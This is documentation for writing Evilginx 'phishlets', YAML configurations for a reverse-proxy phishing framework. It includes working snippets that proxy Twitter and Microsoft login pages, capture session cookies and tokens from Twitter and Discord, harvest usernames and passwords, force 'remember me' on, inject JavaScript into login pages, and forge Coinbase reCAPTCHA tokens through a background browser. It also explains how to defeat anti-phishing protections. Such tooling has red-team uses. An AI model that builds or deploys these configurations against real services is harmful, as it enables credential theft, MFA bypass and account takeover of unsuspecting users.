Create Phishlets
Phishlet Format (v3.x.x)
Phishlets are configuration files in YAML format. If you need to get familiar with YAML, first, you can find some good overview here: YAML Syntax
Used for storing general phishlet information.
min_ver: '3.7.1'
redirect_url: 'https://mail.google.com/mail'
min_ver
string
What is the minimum version of Evilginx that this phishlet will be compatible with.
redirect_url
string
Use a default redirect URL, when tokens are successfully captured, if it is not specifically set in the phishing lure.
params
Every created phishlet can serve as a template. Templates will allow to create child phishlets, with customized content, through parameters defined in this section. Parameters defined here can be used throughout any string content used in the phishlet by using {param_name}
string.
For example:
params:
- {name: 'subdomain', default: ''}
And use it to customize the subdomain of proxy_hosts
later in the phishlet:
proxy_hosts:
- {phish_sub: '{subdomain}', orig_sub: '{subdomain}', domain: 'domain.com', session: true, is_landing: true}
name
string
Specifies the parameter name that will be used as reference throughout phishlet contents.
default
string
Default value for the parameter if it's not specified during the creation of child phishlet.
required
bool
Creation of child phishlets will fail if the parameter value is not defined, when set to true
. Default: false
.
proxy_hosts
This section describes all subdomains and domains that Evilginx will handle for proxying the traffic between the visitor and legitimate host.
proxy_hosts:
- {phish_sub: '', orig_sub: '', domain: 'twitter.com', session: true, is_landing: true}
- {phish_sub: 'abs', orig_sub: 'abs', domain: 'twimg.com', session: false, is_landing: false}
- {phish_sub: 'api', orig_sub: 'api', domain: 'twitter.com', session: false, is_landing: false}
phish_sub
string
Specifies what will the subdomain be in the phishing hostname. It can be the same as the original subdomain.
orig_sub
string
The original subdomain of the proxied website's hostname.
domain
string
Base domain of the legitimate website to proxy the traffic for.
session
bool
Set this parameter to true
for hosts that handle main website HTML content and which have their hostname visible in the browser's URL bar. Setting this to true
for specific host will make sure that this host's responses will contain session cookies, credentials and other data worth capturing. If it is a host serving static content (e.g. javascript), you can safely set this parameter to false
.
is_landing
bool
If set to true
this host will be used for generating phishing URLs. Set it to true
only for one host that will be used with a phishing lure URL.
auto_filter
bool
(NEW): If set to true
(default) proxy with try to automatically create required sub_filters
for this host, without the need to specify them manually.
sub_filters
This section describes all string substitution filters that you can define to dynamically modify the proxied website's content. This will be important for replacing all occurences of legitimate website's URLs with phishing proxy URLs, in order to prevent the browser from redirecting the visitor to legitimate website, before they can finish the authentication process. Filters can also be useful for removing or modifying javascript anti-phishing security measures.
sub_filters:
- {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'https://{hostname}/ppsecure/', replace: 'https://{hostname}/ppsecure/', mimes: ['text/html', 'application/json', 'application/javascript']}
- {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'https://{hostname}/GetCredentialType.srf', replace: 'https://{hostname}/GetCredentialType.srf', mimes: ['text/html', 'application/json', 'application/javascript']}
- {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'https://{hostname}/GetSessionState.srf', replace: 'https://{hostname}/GetSessionState.srf', mimes: ['text/html', 'application/json', 'application/javascript']}
- {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
- {triggers_on: 'login.live.com', orig_sub: 'outlook', domain: 'live.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript'], redirect_only: true}
- {triggers_on: 'login.live.com', orig_sub: 'account', domain: 'live.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
- {triggers_on: 'account.live.com', orig_sub: 'account', domain: 'live.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
- {triggers_on: 'account.live.com', orig_sub: 'live', domain: 'live.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
- {triggers_on: 'account.live.com', orig_sub: 'account', domain: 'live.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
triggers_on
string
Original hostname for which the filter will be triggered for. Proxied data between the visitor and defined legitimate host, which is a value of that parameter, will have this substitution filter triggered for. Selects communication to which proxied host will be dynamically modified by Evilginx proxy.
orig_sub
string
Subdomain name of the legitimate host that will be used in string search for all occurences.
domain
string
Domain name of the legitimate host that will be used in string search for all occurences.
search
regexp
Regular expression to use in searching for string occurences in response body. Supports also regexp groups. See below the list of supported auto-fill variables which you can use.
replace
string
String that will replace all occurences of strings matching the search
regexp. If regexp groups were defined in search
field, refer to them here with e.g. ${1}
where 1
is the group index. See below the list of supported auto-fill variables which you can use.
mimes
string array
Filtering will only trigger for response packets which Content-Type
header value equal to any of the MIME types defined here.
redirect_only
bool (optional)
If true
indicates that the filter will trigger only if redirection URL was specified when generating a phishing URL.
with_params
string array
Only enable this filter if all of the following custom parameters were delivered with the phishing URL.
auto-fill variables
You can use the following auto-fill variables in both search
and replace
fields:
{hostname}
When used in search
field, it will become a hostname from combination of orig_sub
and domain
, defined in same sub_filter
entry. When used in replace
field, the combined hostname will be auto-translated to corresponding phishing hostname, by looking up the configured entries in proxy_hosts
section. This is useful for replacing all occurences of website's original hostname with the phishing one in responses. (e.g. www.linkedin.no-phish.com
)
{subdomain}
Works the same way as {hostname}
, but only refers to the subdomain defined in orig_sub
field. (e.g. www
)
{domain}
Works the same way as {hostname}
, but only refers to the domain defined in domain
field. (e.g. linkedin.no-phish.com
)
{orig_hostname}
Only for replacements. Replace with the original hostname, which will not be converted to the phishing one. (e.g. www.linkedin.com
)
{orig_domain}
Only for replacements. Replace with the original domain, which will not be converted to the phishing one. (e.g. linkedin.com
)
{basedomain}
Works the same way as {domain}
, but instead of serving the whole phishlet domain, it only uses the base top-level domain defined in global config. (e.g. no-phish.com
)
{hostname_regexp}
Equivalent of {hostname}
, but each auto-translated string is properly escaped for use inside regular expressions. Needed sometimes for bypassing anti-phishing protections involving regular expressions.
{subdomain_regexp}
Equivalent of {subdomain}
, but each auto-translated string is properly escaped for use inside regular expressions. Needed sometimes for bypassing anti-phishing protections involving regular expressions.
{domain_regexp}
Equivalent of {domain}
, but each auto-translated string is properly escaped for use inside regular expressions. Needed sometimes for bypassing anti-phishing protections involving regular expressions.
{basedomain_regexp}
Equivalent of {basedomain}
, but each auto-translated string is properly escaped for use inside regular expressions. Needed sometimes for bypassing anti-phishing protections involving regular expressions.
example 1
- {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'https://{hostname}/ppsecure/', replace: 'https://{hostname}/ppsecure/', mimes: ['text/html', 'application/json', 'application/javascript']}
Filter will trigger only for packets proxied to hostname
login.live.com
.Searches for all occurences of string
https://login.live.com/ppsecure/
and replaces them withhttps://login.phishdomain.com/ppsecure/
.
example 2
- {triggers_on: 'www.linkedin.com', orig_sub: 'cdn', domain: 'linkedinapis.com', search: '//{hostname}/([0-9a-z]*)/nhome/', replace: '//{hostname}/${1}/nhome/', mimes: ['text/html', 'application/json']}
Filter will trigger only for packets proxied to hostname
www.linkedin.com
.Searches for all occurences of string
//cdn.linkedinapis.com/<any_alphanumeric_string>/nhome/
and replaces them with//cdn.phishdomain.com/<alphanumeric_string_from_regexp_group>/nhome/
.
auth_tokens
Defines tokens to capture in transmitted proxied request or response. The tokens can either be extracted from cookies or response body sent by the server or from HTTP headers found in client requests. When all tokens are retrieved the authentication session is considered to be fully captured and a phishing attack is considered a success. When this happens, the user will be redirected to the URL specified in the phishing lure.
cookie
Look for tokens in cookies sent from the server through Set-Cookie
header.
auth_tokens:
- domain: '.twitter.com'
keys: ['kdt','_twitter_sess','twid','auth_token']
type: 'cookie'
domain
string
Domain name exactly as defined in contents of the Set-Cookie
header. The .
as a prefix indicates that cookies will be sent for all subdomains of that domain.
keys
string array
Exact names of the cookies that will be searched for and captured. Available key modifiers can be found below.
type
string
Must be set to cookie
key modifiers
Modifiers can be set for specific keys by adding a :
character at the end of the key name, followed by the modifier name. Modifiers can be stacked and need to be separated with :
character as well (e.g. session:opt
or frog-[0-9]{3}:regexp:always
).
regexp
Treats cookie name as a regular expression. For example key 'frog-[0-9]{3}:regexp'
will look for any key like frog-283
, frog-111
, frog-291
to capture. IMPORTANT! If you use at least one regexp modified key, make sure to trigger session capture with auth_urls
(explained below).
opt
Treats that cookie as optional. If that cookie arrives, it will be captured, but if it doesn't and other required cookies have already been captured, the session will be considered finished.
always
By default Evilginx ignores any cookies treated as session cookies, which have no expiration time set up. This modifier will make sure to always capture the cookie despite it not having an expiration time.
body
Look for tokens in HTTP response content body with regular expressions.
auth_tokens:
- domain: 'discord.com'
path: '/auth/login'
name: 'token'
search: '"token":"([^"]*)'
type: 'body'
*, body
, http
.
domain
string
Domain name used as a hostname in a request, which predates the response.
path
regexp
Regular expression to match the URL path of the intercepted request, which predates the response.
name
string
Name of the captured token under which it will be listed in captured session details, for visual needs only.
search
regexp
Regular expression to use when searching the response body for token values. First regexp group will contain the value e.g. "token":"([^"]*)
.
type
string
Must be set to body
header
Look for tokens in the header values of HTTP requests.
auth_tokens:
- domain: 'discord.com'
path: '/api/v9/heartbeat'
name: 'token'
header: 'authorization'
type: 'http'
domain
string
Domain name used as a hostname in a request.
path
regexp
Regular expression to match the URL path of the intercepted request.
name
string
Name of the captured token under which it will be listed in captured session details, for visual needs only.
header
string
Name of the HTTP header to capture the value from e.g. Auhtorization
.
type
string
Must be set to http
example 1
auth_tokens:
- domain: '.company.com'
keys: ['session','_visit','id']
type: 'cookie'
- domain: 'auth.company.com'
keys: ['sid','ver,opt']
type: 'cookie'
example 2
auth_tokens:
- domain: '.company.com'
keys: ['.*,regexp']
type: 'cookie'
This will capture all cookies set for domain .company.com
. You will need to set auth_urls
in order to trigger session capture by other means, than detecting if all cookies were captured.
credentials
This is the section were you specify which POST arguments should be captured and which of them are user credentials.
credentials:
username:
key: 'email'
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'
custom:
- key: 'token'
search: '(.*)'
type: 'post'
- key: 'pin'
search: '([0-9]*)'
type: 'post'
categories:
username
: Defines POST parameter for username/login/email part of captured credentials.password
: Defines POST parameter for capturing the user password.custom
: Defines and array of optional POST parameters for additional storage. If you need to capture a specific token or PIN from an additional form field, you can use this.
parameters:
key
regexp
Regular expression for POST parameter name to match. This is ignored if type
is set to json
.
search
regexp
Regular expression to search through the value of the detected POST parameter (type
== post
) or searching through the whole JSON string (type
== json
). The value to capture is captured from regular expression's first defined group.
type
string
Defines the content type of the request that will be sent. Allowed types: json
, post
(default).
json example
credentials:
username:
key: ''
search: '"email":"([^"]*)'
type: 'json'
password:
key: ''
search: '"password":"([^"]*)'
type: 'json'
auth_urls
By default Evilginx will consider the session as authenticated when all cookies defined in auth_tokens
section are captured. The exception is when the names of the cookies, you need to capture, are generated dynamically. In such scenario you need to use regular expressions to search for session cookies or just capture all of them. Evilginx will then not know when all of the session cookies have been captured and will need an alternative way to trigger the successful session capture.
Session will be considered captured when request to any of the defined URL paths is made. These URL paths should only be accessible after the user has successfully authenticated, thus indicating the authentication was successful.
auth_urls:
- '/home'
(string array): When a request to any of the following paths is detected, it will trigger the session capture.
example 1
auth_urls:
- '/admin'
- '/admin/.*'
When user is redirected to https://phishdomain.com/admin
, https://phishdomain.com/admin/profile
or https://phishdomain.com/admin/settings
, session capture will be considered successful.
login
Defines the domain
and path
where the login page on the phished website resides.
login:
domain: 'www.linkedin.com'
path: '/uas/login'
force_post
This section let's you define what POST arguments you want to add to an existing POST requests, in transmission. This is useful to force phished users to authenticate with "Remember Me" option enabled, even though they explicitly left the checkboxes unticked on the login form.
force_post:
- path: '/sessions'
search:
- {key: 'session\[user.*\]', search: '.*'}
- {key: 'session\[pass[a-z]{4}\]', search: '.*'}
force:
- {key: 'remember_me', value: '1'}
type: 'post'
path
(regexp): Regular expression to match the URL path the intercepted POST request will be sent to.search
: Trigger POST arguments. ALL of the defined here POST arguments must be present in the POST request, for the POST arguments to be inserted or replaced.key
(regexp): Regular expression to match the POST argument key.search
(regexp): Regular expression to match the POST argument value.
force
: List of POST arguments to insert or replace in intercepted POST request.key
(string): Name of the POST argument.value
(string): Value of the POST argument.
type
(string): Type of the POST request to handle. Currently onlypost
is supported.
js_inject
This section defines all Javascript scripts that you want to inject into proxied pages. Every script can be customized with {var_name}
variable parameters, which later can be set to different values in each created lure
.
js_inject:
- trigger_domains: ["www.linkedin.com"]
trigger_paths: ["/uas/login"]
trigger_params: ["email"]
script: |
function lp(){
var email = document.querySelector("#username");
var password = document.querySelector("#password");
if (email != null && password != null) {
email.value = "{email}";
password.focus();
return;
}
setTimeout(function(){lp();}, 100);
}
setTimeout(function(){lp();}, 100);
trigger_domains
string array
All hostnames on which the injection will trigger.
trigger_paths
regexp array
Regular expressions for all URL paths that will trigger the injection.
trigger_params
string array
Injection will trigger only if the following parameters are defined in a lure
.
script
string
Javascript code that will be injected right before the </body>
tag.
intercept
This section defines, which HTTP requests in your proxied connections you want to intercept and replace responses for.
intercept:
- {domain: 'www.linkedin.com', path: '^\/report_error$', http_status: 200, body: '{"error":0}'', mime: "application/json"}
- {domain: 'app.linkedin.com', path: '^\/api\/v1\/log\/.*', http_status: 404}
domain
string
Domain name used as a hostname in a request.
path
regexp
Regular expression to match the URL path of the intercepted request.
http_status
int
HTTP status to return in the response.
body
string
Response body to return. Empty by default.
mime
string
Response MIME type to return. Default: text/plain
evilpuppet
info
This part applies only to Evilginx Pro users who have access to Evilpuppet module.
Interactive background browser sessions, spawned on-demand, with sole purpose of forging secret tokens to be used within the proxied Evilginx session.
evilpuppet:
triggers:
- domains: ['www.coinbase.com']
paths: ['/sessions']
token: 'recaptcha_token'
open_url: 'https://www.coinbase.com/signin'
actions:
- selector: '#email'
value: '{username}'
enter: false
click: false
post_wait: 0
- selector: '#password'
value: '{password}'
enter: false
click: false
post_wait: 0
- selector: '#stay_signed_in'
click: true
post_wait: 0
- selector: '#signin_button'
click: true
post_wait: 0
interceptors:
- token: 'recaptcha_token'
url_re: '/sessions'
post_re: 'recaptcha_token=([^&]*)'
abort: true
triggers
Triggers will execute when a specific request is intercepted in Evilginx proxy, during the intercative phishing session. Triggers should be set up for requests, which require secret tokens to be passed in POST arguments. The proxy will pause and spawn a background Evilpuppet browser session to forge the token, through pre-configured actions and interceptors. Once the forged token is retrieved, its value will get replaced with the forged one.
domains
string array
List of hostnames on which the rule will trigger, when the Evilginx proxy comes across proxied requests referring to them.
paths
string array
List of URL paths on which the rule will trigger, when the Evilginx proxy comes across proxied requests referring to them.
token
string
The name of the token key to detect in POST data to trigger this rule. After all actions
are executed, the proxy will wait for this token to be retrieved by the Evilpuupet interceptors. Token name needs to match at least one of the tokens set up in the interceptors
. Can be empty.
open_url
string
URL to open in the background browser session when trigger is triggered. Can be empty and then actions will be performed on whatever page the browser session left on - useful for multistep login stages.
actions
Actions will be performed in context of the browser session, to interact with the website. These should be used to trigger browser behavior, which will result in browser generating the needed token and sending it with the HTTP request. The token should then be intercepted with configured interceptors.
selector
string
Selector to use for finding a DOM item to interact with. Browser will wait for this item to appear until the timeout hits.
value
string
If DOM item is an input box, this is the text value, which will be typed into it. You can use custom parameters:
- {username}
: Will be replaced with username the users entered into the username field of the login page.
- {password}
: Will be replaced with password the users entered into the password field of the login page.
enter
bool
After filling out the field with supplied value, browser will hit "Enter", when set to true
, while the item is in focus
click
bool
Browser will left-click an item, when set to true
. Works for checkbox items and buttons.
post_wait
int
Wait number of milliseconds after completing this action, before moving on to the next one.
interceptors
These are the interceptors that will be set up for the background browser session, for intercepting POST data tokens, which will be returned back to the proxy process. The interceptors will trigger on HTTP requests made from the browser session.
token
string
Token key name to be retrieved from POST data.
url_re
regexp
Regular expression to match the full URL of the intercepted request.
post_re
regexp
Regular expression to match the whole POST data content. The first regular expression group, set up in the expression, will be used for extracting the relevant token.
Puppeter
Example of a script that automates logging in to the site and takes a screenshot of the page after logging in:
const puppeteer = require('puppeteer');
(async () => {
const browser = await puppeteer.launch({ headless: false });
const page = await browser.newPage();
await page.goto('https://example.com/login');
await page.type('#username', 'your-username');
await page.type('#password', 'your-password');
await page.click('#submit-button');
await page.waitForNavigation();
await page.screenshot({ path: 'after-login.png' });
await browser.close();
})();
Last updated
Was this helpful?